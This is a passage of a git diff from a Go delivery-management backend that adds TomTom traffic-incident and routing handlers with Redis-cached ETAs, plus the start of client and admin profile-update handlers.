" ": "_",
|
||||
}
|
||||
|
||||
result := name
|
||||
for old, new := range replacements {
|
||||
result = strings.ReplaceAll(result, old, new)
|
||||
}
|
||||
|
||||
// Limiter la longueur
|
||||
if len(result) > 50 {
|
||||
result = result[:50]
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,624 @@
|
||||
// ============================================
|
||||
// handlers/traffic_handlers.go - COMPLET
|
||||
// ============================================
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
"gestion/services"
|
||||
"io"
|
||||
"log"
|
||||
"math"
|
||||
"net/http"
|
||||
"os"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// INCIDENTS TRAFFIC TOMTOM
|
||||
// ============================================
|
||||
|
||||
// GetIncidentsAroundDeliveryPerson récupère les incidents autour d'un livreur
|
||||
// GET /api/v2/admin/traffic/delivery/:username/incidents
|
||||
func GetIncidentsAroundDeliveryPerson(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
username := c.Param("username")
|
||||
if username == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Username requis"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer position du livreur
|
||||
lat, lon, err := database.GetDeliveryPersonLocation(username)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Position livreur non trouvée",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Rayon de recherche par défaut: 5 km
|
||||
radius := 5000 // mètres
|
||||
|
||||
// Récupérer incidents TomTom
|
||||
incidents, err := fetchIncidents(lat, lon, radius)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération incidents",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"username": username,
|
||||
"location": gin.H{"latitude": lat, "longitude": lon},
|
||||
"radius_km": radius / 1000,
|
||||
"incidents": incidents,
|
||||
"count": len(incidents),
|
||||
})
|
||||
}
|
||||
|
||||
// GetIncidentsForAllDeliveries récupère incidents + routes pour tous livreurs actifs
|
||||
// GET /api/v2/admin/traffic/incidents/all
|
||||
func GetIncidentsForAllDeliveries(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer tous les livreurs disponibles depuis Redis
|
||||
livreurs, err := database.GetAvailableDeliveryPersonsRedis()
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur récupération livreurs",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
results := []gin.H{}
|
||||
|
||||
for _, livreur := range livreurs {
|
||||
username := livreur.Username
|
||||
status := livreur.Status
|
||||
|
||||
// Sauter les livreurs offline
|
||||
if status == "offline" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Position livreur
|
||||
lat, lon, err := database.GetDeliveryPersonLocation(username)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Position non trouvée pour %s", username)
|
||||
continue
|
||||
}
|
||||
|
||||
// Vérifier s'il a une commande en cours
|
||||
commandID := livreur.CurrentCommand
|
||||
|
||||
if commandID == 0 {
|
||||
// Pas de livraison en cours
|
||||
results = append(results, gin.H{
|
||||
"username": username,
|
||||
"status": status,
|
||||
"location": gin.H{"latitude": lat, "longitude": lon},
|
||||
"has_delivery": false,
|
||||
"incidents": []gin.H{},
|
||||
"route": nil,
|
||||
})
|
||||
continue
|
||||
}
|
||||
|
||||
// Récupérer la commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Commande %d non trouvée", commandID)
|
||||
continue
|
||||
}
|
||||
|
||||
// Coordonnées destination
|
||||
var destLat, destLon float64
|
||||
|
||||
if dLat, ok := getFloatFromMap(command, "dest_latitude"); ok && dLat != 0 {
|
||||
destLat = dLat
|
||||
}
|
||||
if dLon, ok := getFloatFromMap(command, "dest_longitude"); ok && dLon != 0 {
|
||||
destLon = dLon
|
||||
}
|
||||
|
||||
// Si pas de coordonnées, géocoder
|
||||
if destLat == 0 || destLon == 0 {
|
||||
address, ok := command["adresse"].(string)
|
||||
if !ok || address == "" || address == "Adresse non spécifiée" {
|
||||
continue
|
||||
}
|
||||
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
location, err := geoService.GeocodeAddress(address)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Géocodage échoué pour %s", address)
|
||||
continue
|
||||
}
|
||||
|
||||
destLat = location.Latitude
|
||||
destLon = location.Longitude
|
||||
}
|
||||
|
||||
// Récupérer incidents sur le trajet
|
||||
incidents, _ := fetchIncidentsOnRoute(lat, lon, destLat, destLon)
|
||||
|
||||
// Convertir incidents en gin.H pour JSON
|
||||
incidentsJSON := make([]gin.H, len(incidents))
|
||||
for i, inc := range incidents {
|
||||
incidentsJSON[i] = gin.H{
|
||||
"type": inc.Type,
|
||||
"icon": inc.Icon,
|
||||
"description": inc.Description,
|
||||
}
|
||||
}
|
||||
|
||||
// Calculer route avec trafic
|
||||
routeSummary, err := fetchRouteSummary(lat, lon, destLat, destLon)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ Erreur calcul route pour %s", username)
|
||||
routeSummary = models.RouteSummary{}
|
||||
}
|
||||
|
||||
results = append(results, gin.H{
|
||||
"username": username,
|
||||
"status": status,
|
||||
"location": gin.H{"latitude": lat, "longitude": lon},
|
||||
"destination": gin.H{"latitude": destLat, "longitude": destLon},
|
||||
"has_delivery": true,
|
||||
"command_id": commandID,
|
||||
"incidents": incidentsJSON,
|
||||
"route": routeSummary,
|
||||
})
|
||||
}
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"deliveries": results,
|
||||
"count": len(results),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MISE À JOUR ETA AVEC TRAFIC
|
||||
// ============================================
|
||||
func UpdateETAWithRealTraffic(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
userRole := c.GetString("role")
|
||||
if userRole != "admin" && userRole != "livreur" {
|
||||
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer l'ID de la commande
|
||||
commandID, err := strconv.Atoi(c.Param("id"))
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer la commande
|
||||
command, err := database.GetCommandByID(commandID)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Commande non trouvée",
|
||||
"command_id": commandID,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier qu'un livreur est assigné
|
||||
livreurAssign, ok := command["livreur_assign"].(string)
|
||||
if !ok || livreurAssign == "" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Aucun livreur assigné",
|
||||
"command_id": commandID,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Position actuelle du livreur
|
||||
lat, lon, err := database.GetDeliveryPersonLocation(livreurAssign)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusNotFound, gin.H{
|
||||
"error": "Position livreur introuvable",
|
||||
"livreur": livreurAssign,
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
var destLat, destLon float64
|
||||
|
||||
// 🔹 1. Tenter de récupérer depuis le cache Redis (clé spécifique pour destination)
|
||||
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
|
||||
destData, err := db.Redis.Get(db.RedisCtx, destCacheKey).Result()
|
||||
if err == nil && destData != "" {
|
||||
var coords struct {
|
||||
Lat float64 `json:"lat"`
|
||||
Lon float64 `json:"lon"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(destData), &coords); err == nil && coords.Lat != 0 && coords.Lon != 0 {
|
||||
destLat = coords.Lat
|
||||
destLon = coords.Lon
|
||||
log.Printf("📍 Destination trouvée dans cache Redis pour commande %d", commandID)
|
||||
}
|
||||
}
|
||||
|
||||
// 🔹 2. Fallback: récupérer depuis la DB
|
||||
if destLat == 0 || destLon == 0 {
|
||||
if dLat, okLat := getFloatFromMap(command, "dest_latitude"); okLat && dLat != 0 {
|
||||
destLat = dLat
|
||||
}
|
||||
if dLon, okLon := getFloatFromMap(command, "dest_longitude"); okLon && dLon != 0 {
|
||||
destLon = dLon
|
||||
}
|
||||
}
|
||||
|
||||
// 🔹 3. Si toujours pas de coordonnées, géocoder l'adresse
|
||||
if destLat == 0 || destLon == 0 {
|
||||
address, ok := command["adresse"].(string)
|
||||
if !ok || address == "" || address == "Adresse non spécifiée" {
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Adresse de destination manquante ou invalide",
|
||||
"command_id": commandID,
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
geoService := c.MustGet("geoService").(*services.GeoService)
|
||||
location, err := geoService.GeocodeAddress(address)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Impossible de géocoder l'adresse",
|
||||
"address": address,
|
||||
"command_id": commandID,
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
destLat = location.Latitude
|
||||
destLon = location.Longitude
|
||||
log.Printf("📍 Adresse géocodée pour commande %d: %s -> (%.6f, %.6f)",
|
||||
commandID, address, destLat, destLon)
|
||||
}
|
||||
|
||||
// 🔹 4. Sauvegarder les coordonnées destination dans le cache Redis
|
||||
coordsJSON, _ := json.Marshal(map[string]float64{
|
||||
"lat": destLat,
|
||||
"lon": destLon,
|
||||
})
|
||||
if err := db.Redis.Set(db.RedisCtx, destCacheKey, coordsJSON, 4*time.Hour).Err(); err != nil {
|
||||
log.Printf("⚠️ Impossible de sauvegarder destination dans Redis: %v", err)
|
||||
}
|
||||
|
||||
// 🔹 5. Calculer le temps réel avec TomTom Routing API
|
||||
routeSummary, err := fetchRouteSummary(lat, lon, destLat, destLon)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Impossible de calculer l'itinéraire",
|
||||
"command_id": commandID,
|
||||
"from": gin.H{"lat": lat, "lon": lon},
|
||||
"to": gin.H{"lat": destLat, "lon": destLon},
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// 🔹 6. Mettre à jour l'ETA dans Redis
|
||||
err = database.SetCommandETA(commandID, routeSummary.TravelTimeInMinutes)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusInternalServerError, gin.H{
|
||||
"error": "Erreur mise à jour ETA",
|
||||
"command_id": commandID,
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ ETA mis à jour pour commande %d: %d min (trafic réel inclus)",
|
||||
commandID, routeSummary.TravelTimeInMinutes)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"success": true,
|
||||
"command_id": commandID,
|
||||
"eta_minutes": routeSummary.TravelTimeInMinutes,
|
||||
"distance_km": routeSummary.LengthInKm,
|
||||
"with_traffic": true,
|
||||
"route_summary": routeSummary,
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// FONCTIONS HELPERS - TOMTOM API
|
||||
// ============================================
|
||||
|
||||
// fetchIncidents récupère les incidents de trafic autour d'une position
|
||||
func fetchIncidents(lat, lon float64, radius int) ([]models.Incident, error) {
|
||||
apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||
if apiKey == "" {
|
||||
return nil, fmt.Errorf("TOMTOM_API_KEY non configurée")
|
||||
}
|
||||
|
||||
// API TomTom Traffic Incidents
|
||||
url := fmt.Sprintf(
|
||||
"https://api.tomtom.com/traffic/services/5/incidentDetails?key=%s&bbox=%f,%f,%f,%f&fields={incidents{type,geometry{type,coordinates},properties{iconCategory,magnitudeOfDelay,events{description,code,iconCategory}}}}",
|
||||
apiKey,
|
||||
lon-0.05, lat-0.05, // Southwest corner
|
||||
lon+0.05, lat+0.05, // Northeast corner
|
||||
)
|
||||
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur requête incidents: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
return nil, fmt.Errorf("API incidents error %d: %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lecture réponse: %w", err)
|
||||
}
|
||||
|
||||
var incidentResponse models.IncidentResponse
|
||||
err = json.Unmarshal(body, &incidentResponse)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur parsing incidents: %w", err)
|
||||
}
|
||||
|
||||
// Convertir en []models.Incident
|
||||
incidents := make([]models.Incident, len(incidentResponse.Incidents))
|
||||
for i, inc := range incidentResponse.Incidents {
|
||||
incidents[i] = models.Incident{
|
||||
Type: inc.Type,
|
||||
Icon: inc.Icon,
|
||||
Description: inc.Description,
|
||||
}
|
||||
}
|
||||
|
||||
return incidents, nil
|
||||
}
|
||||
|
||||
// fetchIncidentsOnRoute récupère les incidents sur un trajet
|
||||
func fetchIncidentsOnRoute(startLat, startLon, destLat, destLon float64) ([]models.Incident, error) {
|
||||
// Calculer la bounding box du trajet
|
||||
minLat := min(startLat, destLat) - 0.02
|
||||
maxLat := max(startLat, destLat) + 0.02
|
||||
minLon := min(startLon, destLon) - 0.02
|
||||
maxLon := max(startLon, destLon) + 0.02
|
||||
|
||||
apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||
if apiKey == "" {
|
||||
return []models.Incident{}, nil
|
||||
}
|
||||
|
||||
url := fmt.Sprintf(
|
||||
"https://api.tomtom.com/traffic/services/5/incidentDetails?key=%s&bbox=%f,%f,%f,%f&fields={incidents{type,geometry{type,coordinates},properties{iconCategory,magnitudeOfDelay,events{description,code,iconCategory}}}}",
|
||||
apiKey,
|
||||
minLon, minLat,
|
||||
maxLon, maxLat,
|
||||
)
|
||||
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return []models.Incident{}, nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return []models.Incident{}, nil
|
||||
}
|
||||
|
||||
body, _ := io.ReadAll(resp.Body)
|
||||
|
||||
var incidentResponse models.IncidentResponse
|
||||
if err := json.Unmarshal(body, &incidentResponse); err != nil {
|
||||
return []models.Incident{}, nil
|
||||
}
|
||||
|
||||
// Convertir en []models.Incident
|
||||
incidents := make([]models.Incident, len(incidentResponse.Incidents))
|
||||
for i, inc := range incidentResponse.Incidents {
|
||||
incidents[i] = models.Incident{
|
||||
Type: inc.Type,
|
||||
Icon: inc.Icon,
|
||||
Description: inc.Description,
|
||||
}
|
||||
}
|
||||
|
||||
return incidents, nil
|
||||
}
|
||||
|
||||
// récupère le temps de trajet réel via l'API TomTom Routing
|
||||
// fetchRouteSummary récupère le temps de trajet réel via l'API TomTom Routing
|
||||
func fetchRouteSummary(startLat, startLon, destLat, destLon float64) (models.RouteSummary, error) {
|
||||
apiKey := os.Getenv("TOMTOM_API_KEY")
|
||||
if apiKey == "" {
|
||||
return models.RouteSummary{}, fmt.Errorf("TOMTOM_API_KEY non configurée")
|
||||
}
|
||||
|
||||
// Validation des coordonnées
|
||||
if startLat < -90 || startLat > 90 || destLat < -90 || destLat > 90 {
|
||||
return models.RouteSummary{}, fmt.Errorf("latitude invalide: start=%.6f, dest=%.6f", startLat, destLat)
|
||||
}
|
||||
if startLon < -180 || startLon > 180 || destLon < -180 || destLon > 180 {
|
||||
return models.RouteSummary{}, fmt.Errorf("longitude invalide: start=%.6f, dest=%.6f", startLon, destLon)
|
||||
}
|
||||
|
||||
// API TomTom Routing: Calculate Route
|
||||
url := fmt.Sprintf(
|
||||
"https://api.tomtom.com/routing/1/calculateRoute/%f,%f:%f,%f/json?key=%s&traffic=true&travelMode=car",
|
||||
startLat, startLon, destLat, destLon, apiKey,
|
||||
)
|
||||
|
||||
log.Printf("🛣️ Appel TomTom: (%.6f,%.6f) -> (%.6f,%.6f)", startLat, startLon, destLat, destLon)
|
||||
|
||||
// Timeout réduit à 8 secondes
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
// Fallback: estimation basée sur distance Haversine
|
||||
distance := haversineDistance(startLat, startLon, destLat, destLon)
|
||||
estimatedMinutes := int(distance/25*60) + 3 // ~25 km/h en ville + 3 min marge
|
||||
if estimatedMinutes < 5 {
|
||||
estimatedMinutes = 5
|
||||
}
|
||||
|
||||
log.Printf("⚠️ TomTom timeout/erreur, fallback: %.2f km -> %d min estimé", distance, estimatedMinutes)
|
||||
|
||||
return models.RouteSummary{
|
||||
TravelTimeInMinutes: estimatedMinutes,
|
||||
LengthInKm: distance,
|
||||
}, nil // Pas d'erreur, on retourne l'estimation
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
io.ReadAll(resp.Body) // Lire et ignorer le body pour fermer proprement
|
||||
|
||||
// Fallback en cas d'erreur API
|
||||
distance := haversineDistance(startLat, startLon, destLat, destLon)
|
||||
estimatedMinutes := int(distance/25*60) + 3
|
||||
if estimatedMinutes < 5 {
|
||||
estimatedMinutes = 5
|
||||
}
|
||||
|
||||
log.Printf("⚠️ TomTom API error %d, fallback: %.2f km -> %d min", resp.StatusCode, distance, estimatedMinutes)
|
||||
|
||||
return models.RouteSummary{
|
||||
TravelTimeInMinutes: estimatedMinutes,
|
||||
LengthInKm: distance,
|
||||
}, nil
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return models.RouteSummary{}, fmt.Errorf("erreur lecture réponse: %w", err)
|
||||
}
|
||||
|
||||
var routeResponse models.RouteResponse
|
||||
err = json.Unmarshal(body, &routeResponse)
|
||||
if err != nil {
|
||||
return models.RouteSummary{}, fmt.Errorf("erreur parsing routing: %w", err)
|
||||
}
|
||||
|
||||
if len(routeResponse.Routes) == 0 {
|
||||
return models.RouteSummary{}, fmt.Errorf("aucun itinéraire trouvé")
|
||||
}
|
||||
|
||||
summary := routeResponse.Routes[0].Summary
|
||||
summary.TravelTimeInMinutes = (summary.TravelTimeInSeconds + 59) / 60
|
||||
summary.LengthInKm = float64(summary.LengthInMeters) / 1000.0
|
||||
|
||||
log.Printf("🛣️ Route calculée: %.2f km, %d min (trafic inclus)", summary.LengthInKm, summary.TravelTimeInMinutes)
|
||||
|
||||
return summary, nil
|
||||
}
|
||||
|
||||
// haversineDistance calcule la distance en km entre deux points GPS
|
||||
func haversineDistance(lat1, lon1, lat2, lon2 float64) float64 {
|
||||
const R = 6371.0 // Rayon Terre en km
|
||||
const toRad = math.Pi / 180.0
|
||||
|
||||
dLat := (lat2 - lat1) * toRad
|
||||
dLon := (lon2 - lon1) * toRad
|
||||
|
||||
a := math.Sin(dLat/2)*math.Sin(dLat/2) +
|
||||
math.Cos(lat1*toRad)*math.Cos(lat2*toRad)*
|
||||
math.Sin(dLon/2)*math.Sin(dLon/2)
|
||||
|
||||
c := 2 * math.Atan2(math.Sqrt(a), math.Sqrt(1-a))
|
||||
|
||||
return R * c
|
||||
}
|
||||
|
||||
// getFloatFromMap récupère un float64 depuis une map avec différents types
|
||||
func getFloatFromMap(m map[string]interface{}, key string) (float64, bool) {
|
||||
value, exists := m[key]
|
||||
if !exists || value == nil {
|
||||
return 0, false
|
||||
}
|
||||
|
||||
switch v := value.(type) {
|
||||
case float64:
|
||||
return v, true
|
||||
case float32:
|
||||
return float64(v), true
|
||||
case int:
|
||||
return float64(v), true
|
||||
case int64:
|
||||
return float64(v), true
|
||||
case int32:
|
||||
return float64(v), true
|
||||
case json.Number:
|
||||
f, err := v.Float64()
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return f, true
|
||||
case string:
|
||||
f, err := strconv.ParseFloat(v, 64)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return f, true
|
||||
case []byte:
|
||||
s := string(v)
|
||||
f, err := strconv.ParseFloat(s, 64)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return f, true
|
||||
default:
|
||||
return 0, false
|
||||
}
|
||||
}
|
||||
|
||||
// min retourne le minimum entre deux float64
|
||||
func min(a, b float64) float64 {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
// max retourne le maximum entre deux float64
|
||||
func max(a, b float64) float64 {
|
||||
if a > b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -0,0 +1,446 @@
|
||||
// ============================================
|
||||
// handlers/profile_handlers.go - VERSION CORRIGÉE
|
||||
// ============================================
|
||||
// Gestion des modifications de profils
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
"golang.org/x/crypto/bcrypt"
|
||||
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// MODIFICATION PROFIL CLIENT (PAR LE CLIENT)
|
||||
// ============================================
|
||||
|
||||
// UpdateMyProfile permet à un client de modifier son propre profil
|
||||
// PUT /api/v1/profile/update
|
||||
func UpdateMyProfile(c *gin.Context) {
|
||||
clientID := c.GetInt("client_id")
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
|
||||
var req models.UpdateClientProfileRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer le client actuel
|
||||
client, err := database.GetClientByID(clientID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Client non trouvé: ID=%d", clientID)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
// Vérifier si des modifications sont demandées
|
||||
hasChanges := false
|
||||
|
||||
// Mise à jour du username
|
||||
if req.Username != "" && req.Username != client.Username {
|
||||
// Vérifier que le nouveau username n'existe pas
|
||||
if existingClient, _ := database.GetClientByUsername(req.Username); existingClient != nil {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Username déjà utilisé: %s", req.Username)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
|
||||
return
|
||||
}
|
||||
client.Username = req.Username
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
// Mise à jour du mot de passe
|
||||
if req.Password != "" {
|
||||
if len(req.Password) < 8 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le mot de passe doit contenir au moins 8 caractères"})
|
||||
return
|
||||
}
|
||||
hashed, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Erreur bcrypt: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur traitement mot de passe"})
|
||||
return
|
||||
}
|
||||
client.Password = string(hashed)
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
// Mise à jour du nom
|
||||
if req.Nom != "" && req.Nom != client.Nom {
|
||||
if len(strings.TrimSpace(req.Nom)) < 2 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le nom doit contenir au moins 2 caractères"})
|
||||
return
|
||||
}
|
||||
client.Nom = strings.TrimSpace(req.Nom)
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
// Mise à jour du prénom
|
||||
if req.Prenom != "" && req.Prenom != client.Prenom {
|
||||
if len(strings.TrimSpace(req.Prenom)) < 2 {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Le prénom doit contenir au moins 2 caractères"})
|
||||
return
|
||||
}
|
||||
client.Prenom = strings.TrimSpace(req.Prenom)
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
// Mise à jour du téléphone
|
||||
if req.Telephone != "" && req.Telephone != client.Telephone {
|
||||
if !validatePhoneNumber(req.Telephone) {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Téléphone invalide: %s", req.Telephone)
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "Numéro de téléphone invalide"})
|
||||
return
|
||||
}
|
||||
normalizedPhone := normalizePhoneNumber(req.Telephone)
|
||||
|
||||
// Vérifier que le téléphone n'est pas déjà utilisé
|
||||
if existingClient, _ := database.GetClientByTelephone(normalizedPhone); existingClient != nil && existingClient.ID != clientID {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Téléphone déjà utilisé: %s", normalizedPhone)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Ce numéro de téléphone est déjà utilisé"})
|
||||
return
|
||||
}
|
||||
client.Telephone = normalizedPhone
|
||||
hasChanges = true
|
||||
}
|
||||
|
||||
if !hasChanges {
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "Aucune modification détectée",
|
||||
"client": sanitizeClient(client),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Sauvegarder les modifications
|
||||
if err := database.UpdateClient(client); err != nil {
|
||||
log.Printf("❌ [UPDATE_MY_PROFILE] Erreur mise à jour: %v", err)
|
||||
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur lors de la mise à jour"})
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("✅ [UPDATE_MY_PROFILE] Profil mis à jour: %s (ID=%d)", client.Username, client.ID)
|
||||
|
||||
c.JSON(http.StatusOK, gin.H{
|
||||
"message": "Profil mis à jour avec succès",
|
||||
"client": sanitizeClient(client),
|
||||
})
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// MODIFICATION PROFIL CLIENT (PAR ADMIN)
|
||||
// ============================================
|
||||
|
||||
// UpdateClientByAdmin permet à un admin de modifier n'importe quel profil client
|
||||
// PUT /api/v2/admin/protected/clients/:id
|
||||
func UpdateClientByAdmin(c *gin.Context) {
|
||||
database := c.MustGet("database").(*db.Database)
|
||||
role, exists := c.Get("user_role")
|
||||
if !exists || role != "admin" {
|
||||
c.JSON(http.StatusForbidden, gin.H{
|
||||
"error": "Accès réservé aux administrateurs",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// Récupérer l'ID du client à modifier
|
||||
clientIDStr := c.Param("id")
|
||||
clientID, err := strconv.Atoi(clientIDStr)
|
||||
if err != nil {
|
||||
c.JSON(http.StatusBadRequest, gin.H{"error": "ID client invalide"})
|
||||
return
|
||||
}
|
||||
|
||||
var req models.AdminUpdateClientRequest
|
||||
if err := c.ShouldBindJSON(&req); err != nil {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Erreur binding: %v", err)
|
||||
c.JSON(http.StatusBadRequest, gin.H{
|
||||
"error": "Données invalides",
|
||||
"details": err.Error(),
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ LOG DEBUG - Voir ce qui est reçu
|
||||
log.Printf("📝 [UPDATE_CLIENT_ADMIN] Requête reçue: %+v", req)
|
||||
|
||||
// Récupérer le client actuel
|
||||
client, err := database.GetClientByID(clientID)
|
||||
if err != nil {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Client non trouvé: ID=%d", clientID)
|
||||
c.JSON(http.StatusNotFound, gin.H{"error": "Client non trouvé"})
|
||||
return
|
||||
}
|
||||
|
||||
// ✅ LOG DEBUG - État initial
|
||||
log.Printf("📊 [UPDATE_CLIENT_ADMIN] État initial - Command: %d, Point: %d, PointZipette: %d, Amende: %.2f",
|
||||
client.Command, client.Point, client.PointZipette, client.Amende)
|
||||
|
||||
// Vérifier si des modifications sont demandées
|
||||
hasChanges := false
|
||||
|
||||
// Mise à jour du username
|
||||
if req.Username != "" && req.Username != client.Username {
|
||||
// Vérifier que le nouveau username n'existe pas
|
||||
if existingClient, _ := database.GetClientByUsername(req.Username); existingClient != nil {
|
||||
log.Printf("❌ [UPDATE_CLIENT_ADMIN] Username déjà utilisé: %s", req.Username)
|
||||
c.JSON(http.StatusConflict, gin.H{"error": "Nom d'utilisateur déjà utilisé"})
|
||||
return
|
||||
}
|
||||
client.Username = req.Username
|
||||
hasChanges = true
|
||||
log.Printf("✏️ [UPDATE_CLIENT_ADMIN] Username modifié: %s", req.Username)
|
